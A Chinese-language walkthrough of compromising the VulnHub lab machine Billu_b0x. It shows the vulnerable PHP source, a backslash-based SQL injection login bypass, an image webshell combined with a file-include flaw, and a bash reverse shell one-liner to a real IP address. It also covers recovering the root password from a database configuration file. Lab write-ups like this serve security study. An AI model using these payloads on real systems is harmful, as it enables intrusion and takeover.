前言
在B站看见了什么必过百台靶机,于是随便找台玩玩。
一、下载地址
https://download.vulnhub.com/billu/Billu_b0x.zip
信息收集
- nmap直接扫一波IP,发现主机地址,并且直接扫靶机开放的端口,是否存在明显的漏洞等。
开放了80端口、服务器是apache和ssh的22端口,同时扫出了test.php。
拿Shell
- 前面扫出了test.php,直接进去查看一下,发现如下:
它说缺少file参数,个人感觉能直接进行文件下载,于是/etc/passwd试了试,果然可以,再访问80端口,发现index.php,它说可以进行sql注入,但是用常用的方法以及丢到了sqlmap都不行,于是把源码读取下来看看。
<?php
session_start();
include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';
}
if($_SESSION['logged']==true && $_SESSION['admin']!='')
{
echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un>   Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302);
}
else
{
echo "<script>alert('Try again');</script>";
}
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>
这里需要登录赋予了SESSION的值才能继续访问panel.php页面,并且对传入的参数将单引号过滤成了空格,但是缺陷在于使用了\,完全可以将pass也输入,完成逃逸,比如输入pass=\,uname=or 1=1#,那么语句就变成了select * from auth where pass=‘’ and uname=’ or 1=1#'; 语句变成了永真句,登录就成功了。
- 再通过test.php读取登录成功后panel.php页面的源代码进行分析
<?php
session_start();
include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
header('Location: index.php', true, 302);
exit();
}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
unset($_SESSION['logged']);
unset($_SESSION['admin']);
header('Location: index.php', true, 302);
}
echo '<hr><br>';
echo '<form method=post>
<select name=load>
<option value="show">Show Users</option>
<option value="add">Add User</option>
</select>
 <input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
if(isset($_POST['upload']))
{
$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);
if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);
}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";
}
}
}
?>
这里可以上传图片,对文件的后缀和文件的类型都进行了判断,只允许图片,但是可以看到continue进入到最后一个else能够进行文件包含,因此可以传图片马+文件包含的格式拿shell。
制作图片马
上传
拿shell成功
这里花费了很长的时间,开始用Hackbar进行的时候一直没包含成功,有点郁闷,后来换了下burpsuite就可以了,hackbar又发疯了0 。0
直接蚁剑连接就行,注意要加Cookie和POST的数据
当然如果不喜欢蚁剑,直接利用system命令+一句话bash反弹shell也是可以的,echo “bash -i >& /dev/tcp/120.79.29.170/5555 0>&1” | bash
提权
提权最简单粗暴的就是看系统,然后搜索系统的漏洞。
可以看到存在exp,把.c文件编译成可执行文件,然后wget提取进靶机,注意这里只有uploaded_images是有权限的,其它都是root,没有写入权限。
执行exp,结果执行失败了,也不知道啥原因,只能找其它了
直接都看目录的时候,还看到phpmy目录,访问一下,发现是phpmyadmin,并且整个目录的权限都是777。
既然跟数据库有关,那肯定得看下数据库的配置文件,结果看到了root的密码。
ssh连接成功
总结
主要考了sql注入和图片马+文件读取,文件包含的利用,跟CTF的一些基础考点类似,难度偏低。